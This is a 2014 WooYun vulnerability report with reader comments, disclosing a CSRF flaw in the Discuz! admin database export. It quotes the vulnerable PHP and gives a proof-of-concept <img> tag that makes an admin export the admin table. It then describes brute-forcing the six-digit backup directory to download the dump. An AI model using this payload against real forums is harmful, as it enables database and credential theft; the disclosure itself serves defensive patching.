当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-064886

漏洞标题:Discuz可CSRF脱裤

相关厂商:Discuz!

漏洞作者: Matt

提交时间:2014-06-14 10:58

修复时间:2014-09-12 11:00

公开时间:2014-09-12 11:00

漏洞类型:CSRF

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-14: 细节已通知厂商并且等待厂商处理中
2014-06-16: 厂商已经确认,细节仅向厂商公开
2014-06-19: 细节向第三方安全合作伙伴开放
2014-08-10: 细节向核心白帽子及相关领域专家公开
2014-08-20: 细节向普通白帽子公开
2014-08-30: 细节向实习白帽子公开
2014-09-12: 细节向公众公开

简要描述:

Discuz CSRF脱裤!
广告位 承接代码审计 codescan.cn codescan#yeah.net

详细说明:

admin_db.php
if(!$backupdir) {
$backupdir = random(6);
@mkdir('./data/backup_'.$backupdir, 0777);//文件夹名是六位随机数
C::t('common_setting')->update('backupdir',$backupdir);/


} else {//这边也没有做fromhash的验证 估计是方便AJAX请求~
DB::query('SET SQL_QUOTE_SHOW_CREATE=0', 'SILENT');
if(!$_GET['filename'] || !preg_match('/^[\w\_]+$/', $_GET['filename'])) {
cpmsg('database_export_filename_invalid', '', 'error');
}
$time = dgmdate(TIMESTAMP);
if($_GET['type'] == 'discuz' || $_GET['type'] == 'discuz_uc') {
$tables = arraykeys2(fetchtablelist($tablepre), 'Name');
} elseif($_GET['type'] == 'custom') {
$tables = array();
if(empty($_GET['setup'])) {
$tables = C::t('common_setting')->fetch('custombackup', true);
} else {
C::t('common_setting')->update('custombackup', empty($_GET['customtables'])? '' : $_GET['customtables']);
$tables = & $_GET['customtables'];
}
if( !is_array($tables) || empty($tables)) {
cpmsg('database_export_custom_invalid', '', 'error');
}
}
$memberexist = array_search(DB::table('common_member'), $tables);
if($memberexist !== FALSE) {
unset($tables[$memberexist]);
array_unshift($tables, DB::table('common_member'));
}
$volume = intval($_GET['volume']) + 1;
$idstring = '# Identify: '.base64_encode("$_G[timestamp],".$_G['setting']['version'].",{$_GET['type']},{$_GET['method']},{$volume},{$tablepre},{$dbcharset}")."\n";
$dumpcharset = $_GET['sqlcharset'] ? $_GET['sqlcharset'] : str_replace('-', '', $_G['charset']);
$setnames = ($_GET['sqlcharset'] && $db->version() > '4.1' && (!$_GET['sqlcompat'] || $_GET['sqlcompat'] == 'MYSQL41')) ? "SET NAMES '$dumpcharset';\n\n" : '';
if($db->version() > '4.1') {
if($_GET['sqlcharset']) {
DB::query('SET NAMES %s', array($_GET['sqlcharset']));
}
if($_GET['sqlcompat'] == 'MYSQL40') {
DB::query("SET SQL_MODE='MYSQL40'");
} elseif($_GET['sqlcompat'] == 'MYSQL41') {
DB::query("SET SQL_MODE=''");
}
}
$backupfilename = './data/'.$backupdir.'/'.str_replace(array('/', '\\', '.', "'"), '', $_GET['filename']);//文件名可控
if($_GET['usezip']) {
require_once './source/class/class_zip.php';
}
if($_GET['method'] == 'multivol') {
$sqldump = '';
$tableid = intval($_GET['tableid']);
$startfrom = intval($_GET['startfrom']);
if(!$tableid && $volume == 1) {
foreach($tables as $table) {
$sqldump .= sqldumptablestruct($table);
}
}
$complete = TRUE;
for(; $complete && $tableid < count($tables) && strlen($sqldump) + 500 < $_GET['sizelimit'] * 1000; $tableid++) {
$sqldump .= sqldumptable($tables[$tableid], $startfrom, strlen($sqldump));
if($complete) {
$startfrom = 0;
}
}
$dumpfile = $backupfilename."-%s".'.sql';
!$complete && $tableid--;
if(trim($sqldump)) {
$sqldump = "$idstring".
"# <?php exit();?>\n".
"# Discuz! Multi-Volume Data Dump Vol.$volume\n".
"# Version: Discuz! {$_G[setting][version]}\n".
"# Time: $time\n".
"# Type: {$_GET['type']}\n".
"# Table Prefix: $tablepre\n".
"#\n".
"# Discuz! Home: http://www.discuz.com\n".
"# Please visit our website for newest infomation about Discuz!\n".
"# --------------------------------------------------------\n\n\n".
"$setnames".
$sqldump;
$dumpfilename = sprintf($dumpfile, $volume);

@$fp = fopen($dumpfilename, 'wb');
@flock($fp, 2);
if(@!fwrite($fp, $sqldump)) {

@fclose($fp);
cpmsg('database_export_file_invalid', '', 'error');
} else {
fclose($fp);
if($_GET['usezip'] == 2) {
$fp = fopen($dumpfilename, "r");
$content = @fread($fp, filesize($dumpfilename));
fclose($fp);
$zip = new zipfile();
$zip->addFile($content, basename($dumpfilename));//写出
$fp = fopen(sprintf($backupfilename."-%s".'.zip', $volume), 'w');
if(@fwrite($fp, $zip->file()) !== FALSE) {
@unlink($dumpfilename);
}
echo $dumpfilename;exit();
fclose($fp);
}
unset($sqldump, $zip, $content);

漏洞证明:

利用方法
前台发贴插入SRC
<img src="http://127.0.0.1/x32/admin.php?action=db&operation=export&setup=1&scrolltop=&anchor=&type=custom&customtables%5B%
5D=pre_ucenter_admins&method=multivol&sizelimit=2048&extendins=0&sqlcompat=&usehex=1&usezip=0&filename=ssccad&exportsubmit=%CC%
E1%BD%BB22">
其中表明和文件名可控
缺少一个dir的name
但是dir是一个6位纯数字
data/backup_123456/xxx.sql
这样我们可以对这个数字进行暴力破解
就可以了
6位数字 跑个一宿还是能出来的 直接脱裤啊

QQ截图20140614105047.jpg

修复方案:

验证fromhash

版权声明:转载请注明来源 Matt@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-06-16 09:22

厂商回复:

感谢您提出的问题,我们尽快予以修复

最新状态:

暂无


漏洞评价:

评论

  1. 2014-06-14 11:07 | 冷静 ( 路人 | Rank:3 漏洞数:2 )

    轻松社掉楼主邮箱。。。

  2. 2014-06-14 11:09 | 浅兮 ( 实习白帽子 | Rank:70 漏洞数:30 )

    不会吧,全版本吗?

  3. 2014-06-14 11:11 | 帅爆的小烬烬 ( 路人 | Rank:30 漏洞数:25 | 路上有个漂亮妹子和我搭讪,知道我赶着去挖...)

    洞主你这么屌,DZ知道吗?

  4. 2014-06-14 11:25 | 小威 ( 普通白帽子 | Rank:492 漏洞数:76 | 活到老,学到老!)

    火前留!待雷劈

  5. 2014-06-14 11:31 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    火前留!待雷劈

  6. 2014-06-14 11:38 | ChriSt ( 实习白帽子 | Rank:33 漏洞数:4 )

    火前留!待雷劈

  7. 2014-06-14 11:39 | 凌枫 ( 路人 | Rank:4 漏洞数:2 | 菜鸟求罩 _(:з”∠)_)

    火钳,花生饮料矿泉水 啤酒香烟瓜子糖

  8. 2014-06-14 11:46 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸!)

    这是要火的节奏

  9. 2014-06-14 11:56 | 迦南 ( 路人 | Rank:14 漏洞数:11 | 我不是玩黑,我就是认真)

    火前留!待雷劈

  10. 2014-06-14 12:03 | Matt 认证白帽子 ( 普通白帽子 | Rank:523 漏洞数:107 | 承接代码审计 http://codescan.cn/)

    @冷静 真的假的。。

  11. 2014-06-14 12:22 | 小杰哥 ( 普通白帽子 | Rank:155 漏洞数:25 | 逆水行舟,不进则退。)

    火前留!待雷劈

  12. 2014-06-14 12:37 | 乡间小路 ( 路人 | 还没有发布任何漏洞 | 关注网络安全。)

    火前留名!

  13. 2014-06-14 13:20 | HUC缘生 ( 路人 | Rank:28 漏洞数:29 | 小白求罩~~~~)

    火前留!待雷劈

  14. 2014-06-14 13:58 | 雷锋 ( 路人 | Rank:12 漏洞数:2 | 承接:钻井,架工,木工,电工,水暖工,力...)

    打的一手好广告。

  15. 2014-06-14 14:26 | 1fn0 ( 路人 | Rank:21 漏洞数:7 | 我是运维 不要开除我)

    火前刘明

  16. 2014-06-14 14:29 | 迦南 ( 路人 | Rank:14 漏洞数:11 | 我不是玩黑,我就是认真)

    @小杰哥 请问你是如何做到只交5个洞成为实习白帽子的?

  17. 2014-06-14 14:37 | 小杰哥 ( 普通白帽子 | Rank:155 漏洞数:25 | 逆水行舟,不进则退。)

    @迦南 0.0 大牛,见笑了,我是个渣渣

  18. 2014-06-14 15:14 | kider脚本小子 ( 路人 | Rank:4 漏洞数:2 | 系统软件安装及其调试。电脑硬件问题检测...)

    火钳

  19. 2014-06-14 15:30 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    这个牛逼,希望是真的。

  20. 2014-06-14 15:53 | Enjoy_Hacking ( 实习白帽子 | Rank:84 漏洞数:8 | 时间无言,如此这般。)

    卧槽!!!求脱裤

  21. 2014-06-14 16:13 | B1acken ( 普通白帽子 | Rank:174 漏洞数:56 | 渣渣)

    这样的话,好多库要被脱,求姿势

  22. 2014-06-14 17:18 | 兔兔侠 ( 路人 | Rank:2 漏洞数:1 )

    裤子穿好了。

  23. 2014-06-14 17:52 | 李白 ( 普通白帽子 | Rank:142 漏洞数:29 )

    为啥不雷劈?

  24. 2014-06-14 17:54 | 233 ( 路人 | Rank:14 漏洞数:4 | 小孩子看了根本把持不住)

    可怕!!

  25. 2014-06-14 18:01 | Moc ( 路人 | Rank:23 漏洞数:12 | 屌丝何苦为难屌丝)

    果然打雷了

  26. 2014-06-14 18:01 | 迦南 ( 路人 | Rank:14 漏洞数:11 | 我不是玩黑,我就是认真)

    @小杰哥 大牛求指导(T_T)

  27. 2014-06-14 18:04 | 90sid ( 路人 | Rank:2 漏洞数:1 | (*^__^*))

    我勒个擦

  28. 2014-06-14 18:07 | MeirLin ( 实习白帽子 | Rank:96 漏洞数:30 | 号借人)

    果然雷劈了

  29. 2014-06-14 19:06 | 千域千寻 ( 路人 | Rank:10 漏洞数:6 | 帝吼天啸关山震 皇天后土伏做臣)

    那些年错过的裤子,我已经听到了它们在颤抖了

  30. 2014-06-16 09:35 | D_in ( 普通白帽子 | Rank:413 漏洞数:62 | 到我嘴里来)

    火前留名

  31. 2014-06-16 09:49 | Seven.Sea ( 实习白帽子 | Rank:76 漏洞数:24 | 唯有安全与美食不可辜负。)

    一大波裤子正在路上...

  32. 2014-06-16 09:53 | f4ckbaidu ( 普通白帽子 | Rank:182 漏洞数:23 | 开发真是日了狗了)

    屌炸天,mark

  33. 2014-06-16 09:57 | 大坑哥 ( 路人 | Rank:0 漏洞数:3 | 大家好,我是大坑。)

    mark,牛x

  34. 2014-06-17 16:31 | 奋斗小菜鸟 ( 路人 | Rank:8 漏洞数:1 | 前行中)

    让DZ的暴风雨来的更猛烈一些吧。

  35. 2014-06-19 09:46 | lck丶 ( 路人 | Rank:6 漏洞数:2 | 求大牛拿0day砸死)

    mark!目测一大波站要挂

  36. 2014-06-19 10:43 | lazypig ( 路人 | Rank:0 漏洞数:2 | 如果你决定了方向,勇气可以带你走的更远。)

    mark

  37. 2014-06-19 11:54 | Walle ( 路人 | Rank:0 漏洞数:5 | ... 位卑、未敢忘忧国! ...)

    牛的一比、、

  38. 2014-06-19 13:13 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)

    卧槽!就给钱了

  39. 2014-06-19 13:20 | 小李子 ( 路人 | Rank:2 漏洞数:2 | 资深菜鸟,追求技术的纯粹,小玩叫折腾,大...)

    @U神 那么快……@疯狗 是不是漏洞叼了就提前给了?审核下我的吧狗哥!!

  40. 2014-06-19 13:22 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号,不装逼了,再见孩子们。by Mosua...)

    @U神 那么快……@疯狗 是不是漏洞叼了就提前给了?审核下我的吧狗哥!! 登错号了,日,QQ浏览器啊…帮朋友看下审核的漏洞,忘了,他记住密码了,一激动

  41. 2014-06-19 13:33 | abcdlzy ( 实习白帽子 | Rank:79 漏洞数:14 | 好好学习,天天向上。)

    卧槽!就给钱了

  42. 2014-06-19 14:14 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)

    @Mosuan 我一直看到发奖金停留在5月8日,这个屌漏洞太吊了,都提前打了

  43. 2014-06-19 14:17 | f4ckbaidu ( 普通白帽子 | Rank:182 漏洞数:23 | 开发真是日了狗了)

    3个dollar符,卧槽,传说中的1w块?

  44. 2014-06-19 14:56 | 裙下的秘密 ( 实习白帽子 | Rank:83 漏洞数:9 | )

    这个碉堡了,等看了

  45. 2014-06-19 15:56 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号,不装逼了,再见孩子们。by Mosua...)

    @U神 sql注入是不是最少五百?

  46. 2014-06-19 16:53 | feiyu ( 实习白帽子 | Rank:33 漏洞数:10 )

    坐等结果

  47. 2014-06-19 17:21 | ovens ( 路人 | Rank:21 漏洞数:3 | 身是菩提树,心如明镜台; 时时勤拂拭,勿...)

    坐等结果

  48. 2014-06-19 20:18 | D&G ( 普通白帽子 | Rank:523 漏洞数:103 | going)

    全版本么

  49. 2014-06-19 20:46 | blast ( 普通白帽子 | Rank:348 漏洞数:57 | 五仁委员会)

    $$$

  50. 2014-06-19 21:46 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)

    NB!

  51. 2014-06-19 21:52 | 逗b炮 ( 路人 | Rank:20 漏洞数:1 | muyou)

    坐等公开

  52. 2014-06-20 00:25 | 芙兰朵露斯卡雷特 ( 路人 | Rank:4 漏洞数:4 | 看我闪现逃走闪现逃走六不六)

    卧槽牛逼

  53. 2014-06-20 07:48 | mramydnei ( 普通白帽子 | Rank:348 漏洞数:80 )

    又是打雷又是三个dollar的,这得多少钱啊……

  54. 2014-06-20 08:50 | 小杰哥 ( 普通白帽子 | Rank:155 漏洞数:25 | 逆水行舟,不进则退。)

    @Matt 洞主,你能告诉我你为啥那么牛逼? 看你提交的洞里面 10个有8个带$符号的,请问洞主你是土豪吗?

  55. 2014-06-20 12:41 | 浅兮 ( 实习白帽子 | Rank:70 漏洞数:30 )

    好给力啊,一个精华加三倍WB!

  56. 2014-06-20 12:44 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)

    @疯狗 狗哥,这不会是$$$*2=$$$$$$吧 精华奖金双倍啊

  57. 2014-06-20 16:15 | B1acken ( 普通白帽子 | Rank:174 漏洞数:56 | 渣渣)

    土豪我们做朋友吧

  58. 2014-06-20 17:56 | 浮萍 ( 普通白帽子 | Rank:555 漏洞数:118 | 默默潜水)

    多倍经验多倍金币

  59. 2014-06-21 09:06 | Cotton ( 路人 | Rank:8 漏洞数:2 | 爱好web渗透安全,专注于学习社会工程学)

    火前留!待雷劈

  60. 2014-06-21 10:14 | felixk3y ( 普通白帽子 | Rank:523 漏洞数:41 | php python jsp)

    估计是通过csrf备份数据库 从而导致脱裤

  61. 2014-06-21 10:46 | mramydnei ( 普通白帽子 | Rank:348 漏洞数:80 )

    @felixk3y 这个假设挺合理的 我也投一票

  62. 2014-06-21 15:21 | Max ( 实习白帽子 | Rank:45 漏洞数:7 | When you see this sentence, I have been ...)

    火钳刘翔

  63. 2014-06-26 09:59 | felixk3y ( 普通白帽子 | Rank:523 漏洞数:41 | php python jsp)

    @mramydnei 确实是这样。

  64. 2014-09-12 14:07 | 孤零落叶寒 ( 普通白帽子 | Rank:162 漏洞数:26 | 今天的跌倒是是为了明天更好的站着)

    我看见$$$进来的

  65. 2014-09-12 21:35 | sutdy ( 普通白帽子 | Rank:101 漏洞数:33 | 0.0)

    我看见$$$进来的